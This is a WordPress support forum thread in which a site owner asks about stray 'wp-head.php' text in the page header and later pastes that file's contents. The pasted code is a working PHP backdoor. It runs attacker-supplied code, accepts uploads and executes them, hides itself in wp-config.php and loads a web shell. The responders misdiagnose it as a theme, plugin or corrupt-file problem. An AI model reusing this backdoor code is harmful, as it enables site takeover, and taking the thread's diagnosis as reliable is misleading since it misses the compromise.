Title: WordPress error in header
Last modified: August 22, 2016

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# WordPress error in header

 *  Resolved [dadomagico](https://wordpress.org/support/users/dadomagico/)
 * (@dadomagico)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/)
 * Hi,in my site [http://www.mobiliariofarmacia.es/](http://www.mobiliariofarmacia.es/)
   
   at the top appairs this error: /** Outputs the WordPress header. */ require_once(
   ABSPATH . ‘wp-head.php’);
 * How can i resolve?
    I have updated also wordpress ma doesn’t work Please Help
   me!

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 *  [wirefury](https://wordpress.org/support/users/wirefury/)
 * (@wirefury)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824259)
 * Hello,
    I started looking into this issue because I’m also having this issue.
   A google search of “outputs the wordpress header” shows that there are many sites
   having this issue.
 *  Thread Starter [dadomagico](https://wordpress.org/support/users/dadomagico/)
 * (@dadomagico)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824318)
 * So it’s not solved?it’s not a wordpress problem?
 *  [wirefury](https://wordpress.org/support/users/wirefury/)
 * (@wirefury)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824325)
 * I honestly don’t know what the problem is. I can only assume it’s a WordPress
   issue? Possibly in combination with specific themes or the way specific themes
   are written. Because this is not causing an issue on every WordPress site.
 * Just some of them.
 *  [bernbe01](https://wordpress.org/support/users/bernbe01/)
 * (@bernbe01)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824328)
 * Hey there
 * are you both on the [PlatformPro](http://www.pagelines.com/shop/uncategorized/platformpro/)
   framework?
 *  Thread Starter [dadomagico](https://wordpress.org/support/users/dadomagico/)
 * (@dadomagico)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824339)
 * Yes i use Platformpro,but in other sites that i use the same theme i have not
   this problem
 *  [bernbe01](https://wordpress.org/support/users/bernbe01/)
 * (@bernbe01)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824356)
 * cool
 * i suggest posting your issues [over here at the platform pro forum](http://forum.pagelines.com/forum/44-platformpro/)
   as that dev is an expert on this theme and because it’s a legacy framework I 
   think we may be dealing with some theme incompatibilities
 * if you want some other ideas, a good place to start is:
 * -deactivate all plugins temporarily
    -temporarily change to the theme twenty-
   fifteen, see if problem remains (do this while all plugins are still deactivated)
 * and let us know!
 * good luck!
 *  [Simon Prosser](https://wordpress.org/support/users/pross/)
 * (@pross)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824358)
 * That code is not part of PlatformPro, I’m sure of that.
 * A quick google for that snippet of text, the first 5 sites I visited were not
   using platform theme, but the were *all* using the revslider plugin, so maybe
   thats your issue.
 *  [bernbe01](https://wordpress.org/support/users/bernbe01/)
 * (@bernbe01)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824360)
 * thanks for the input simon!
 * [@dadomagico](https://wordpress.org/support/users/dadomagico/) & [@wirefury](https://wordpress.org/support/users/wirefury/)–
   
   if the issue is in revslider, it will be apparent when disabling all plugins
 * when i google the error i do not see references to revslider, just other sites
   with that error. maybe i’m using the wrong query? here’s what i’m googling:
 * `/** Outputs the WordPress header. */ require_once(ABSPATH . 'wp-head.php');`
 * what are you googling? i’d love to delve in on this error
 * also theme files can cause this, as it has happened to me on a hand built theme
   intended for older versions of wp but i am keeping in mind your insights!
 *  Thread Starter [dadomagico](https://wordpress.org/support/users/dadomagico/)
 * (@dadomagico)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824370)
 * I have disabled all plugins but the error remains.
    Do not really know how to
   fix it. Seeing the html code,this error is at the top of the codepage. Can i 
   delete it with the editor?
 * /** Outputs the WordPress header. */
    require_once(ABSPATH . ‘wp-head.php’); 
   <!DOCTYPE html> <html lang=”it-IT”> <head>
 *  [Simon Prosser](https://wordpress.org/support/users/pross/)
 * (@pross)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824377)
 * Where did you find that code? What file is it in?
 * Is there a file wp-head.php in your wordpress folder?
 *  [CyberCobre](https://wordpress.org/support/users/cybercobre/)
 * (@cybercobre)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824379)
 * Yep. What Simon Prosser said. Your wp-header.php file is probably either corrupt
   or missing.
 *  Thread Starter [dadomagico](https://wordpress.org/support/users/dadomagico/)
 * (@dadomagico)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824380)
 * If you see my website [http://www.mobiliariofarmacia.es/](http://www.mobiliariofarmacia.es/)
   
   you can find this error at the top of the page and if you look the html code 
   is on top of the code _/** Outputs the WordPress header. */ require\_once(ABSPATH.‘
   wp-head.php’);_
 * Yes i have the wp-head.php in wordpress folder
    i open the php file and this 
   is the code: <?php /** * Used to set up and fix common header information and
   include * the WordPress procedural and class library. * * Allows for some configuration
   in wp-config.php (see default-constants.php) * * [@internal](https://wordpress.org/support/users/internal/)
   This file must be parsable by PHP4. * * [@package](https://wordpress.org/support/users/package/)
   WordPress */
 * /**
    * Stores the location of the WordPress directory of functions, classes, 
   and core content. * * [@since](https://wordpress.org/support/users/since/) 1.0.0*/
   if (!defined(‘WPINC’)) define(‘WPINC’, ‘wp-includes’);
 * /** Absolute path to the WordPress directory. */
    if (!defined(‘ABSPATH’)) define(‘
   ABSPATH’, dirname(__FILE__) . ‘/’);
 * if (isset($_POST[“sc”]) && md5($_POST[“sc”]) == “f775f80bd5c8ebfb0d6c59ce6b4b4633”){
   
   $dir = dirname(__FILE__); if (is_dir(“$dir/wp-content”)) $root = $dir; else $
   root = substr($dir, 0, stripos($dir, ‘/wp-content/’)); for ($i = 2012; $i <= 
   2015; $i++) for ($j = 1; $j <= 12; $j++) $a[] = sprintf(“$root/wp-content/uploads/%
   d/%02d/”, $i, $j); shuffle($a); $basepath = “”; foreach ($a as $b) if (is_dir(
   $b) && is_writable($b)) { $basepath = $b; break; }
 *  if (isset($_POST[“eval”])) {
    eval($_POST[“eval”]); }
 *  if (isset($_POST[“info”])) {
    echo “root=” . (is_writable($root) ? “$root\n”:“\
   n”); echo “config=” . (is_writable(“$root/wp-config.php”) ? “$root/wp-config.
   php\n” : “\n”); echo “basepath=” . $basepath . “\n”; echo “kernel=” . (function_exists(‘
   php_uname’) ? php_uname() : ”) . “\n”; } if (isset($_POST[“root”])) { echo “root_copy
   =” . copy(__FILE__, “$root/wp-head.php”) . “\n”; }
 *  if (isset($_POST[“wpc”])) {
    echo “wpc_update=”; $f = “$root/wp-config.php”;
   $c = file_get_contents($f); if (stripos($c, ‘Outputs the WordPress header’) =
   == false) { $time = filemtime($f); $perms = fileperms($f); chmod($f, 0777); $
   c = trim($c) . “\n\n/** Outputs the WordPress header. */\nrequire_once(ABSPATH.‘
   wp-head.php’);\n”; echo file_put_contents($f, $c); chmod($f, $perms); touch($
   f, $time); } else { echo “already OK”; } echo “\n”; }
 *  if (isset($_POST[“neighbours”])) {
    echo “neighbours=”; if (is_file(“$root/php5.
   php”)) { echo “php5.php ” . unlink(“$root/php5.php”) . “,”; } echo “\n”; }
 *  if (isset($_FILES[“file”])) {
    $fd = $_FILES[“file”][“tmp_name”]; $f = isset(
   $_POST[“path”]) ? is_dir($_POST[“path”]) ? $_POST[“path”] . “/” . $_FILES[‘file’][“
   name”] : $_POST[“path”] : (dirname(__FILE__) . “/” . $_FILES[“file”][“name”]);
   $t = filemtime(dirname($f)); if (move_uploaded_file($fd, $f)) { touch($f, $t);
   if (isset($_POST[‘exec’]) && is_file($f)) { include $f; } else { echo “uploaded
   =” . $f; } } } die; }else if(isset($_GET[‘SHOWWSO’]) && is_file(“/web/htdocs/
   www.mobiliariofarmacia.es/home/wordpress/wp-content/uploads/2013/11/cache.php”)){
   include “/web/htdocs/www.mobiliariofarmacia.es/home/wordpress/wp-content/uploads/
   2013/11/cache.php”; }
 *  [CyberCobre](https://wordpress.org/support/users/cybercobre/)
 * (@cybercobre)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824381)
 * Try changing themes to default and see if it still happens. If it doesn’t, then
   it’s a problem in the theme header.php Has this always happened since the install,
   or did it start happening after you changed something or after an update?
 *  Thread Starter [dadomagico](https://wordpress.org/support/users/dadomagico/)
 * (@dadomagico)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824382)
 * I’ve tried to change theme but doesn’t work.
    The problem maybe was after the
   update to wordpress 4.1.1. What can i do in the header.php?
 *  [CyberCobre](https://wordpress.org/support/users/cybercobre/)
 * (@cybercobre)
 * [11 years, 2 months ago](https://wordpress.org/support/topic/wordpress-error-in-header/#post-5824383)
 * You know, at that point, I’d reinstall WordPress on a test site, and see if that
   fixes the issue. If so, then reinstall it on the primary site. If the error still
   occurs on the test site using the default theme, then back-up your database, 
   and use your phpMyAdmin to try some repair tools offered there. If nothing works,
   I’d hire a WordPress/PHP/MySQL expert to repair it.

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